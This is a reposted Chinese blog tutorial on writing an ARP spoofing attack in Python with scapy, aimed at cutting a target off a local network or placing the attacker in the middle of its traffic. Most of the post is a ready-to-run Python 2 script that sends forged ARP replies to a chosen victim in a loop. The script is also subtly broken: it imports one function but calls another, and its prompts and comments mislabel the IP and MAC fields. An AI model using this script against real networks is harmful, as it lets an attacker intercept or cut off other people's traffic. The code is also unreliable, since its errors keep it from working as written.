python通過scapy模塊進行arp斷網攻擊


前言:

想實現像arpsoof一樣的工具

arp斷網攻擊原理:

通過偽造IP地址與MAC地址實現ARP欺騙,在網絡發送大量ARP通信量。攻擊者
只要持續不斷發送arp包就能造成中間人攻擊或者斷網攻擊。

0x01:

准備工作

Linux環境下:(windows環境下各種錯誤,其中有個錯誤是缺少windows.dll至今無法解決)
有scapy模塊
如果沒有進行安裝
py2安裝方法
pip install scapy
py3安裝方法
pip install scapy3

我們要用到scapy模塊里的

from scapy.all import (
  ARP, 
  Ether,
  sendp
)
from scapy.l2 import getmacip

Ether是構造網絡數據包

ARP進行ARP攻擊

sendp進行發包

代碼如下:

import os
from scapy.l2 import getmacip
from scapy.all import (
  ARP,
  Ether,
  sendp
)
ifconfig=os.system('ifconfig')
print ifconfig
gmac=raw_input('Please enter gateway IP:')
liusheng=raw_input('Please enter your IP:')
liusrc=raw_input('Please enter target IP:')
try:
  tg=getmacbyip(liusrc)
  print tg
except Exception , f:
    print '[-]{}'.format(f)
    exit()
def arpspoof():
  try:
    eth=Ether()
    arp=ARP(
        op="is-at",#ARP響應
        hwsrc=gmac,#網關mac
        psrc=liusheng,#網關IP
        hwdst=tg,#目標Mac
        pdst=liusrc#目標IP
    )
    print ((eth/arp).show())
    sendp(eth/arp,inter=2,loop=1)
  except Exception ,g:
      print '[-]{}'.format(g)
      exit()
arpspoof()
運行截圖

效果圖

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM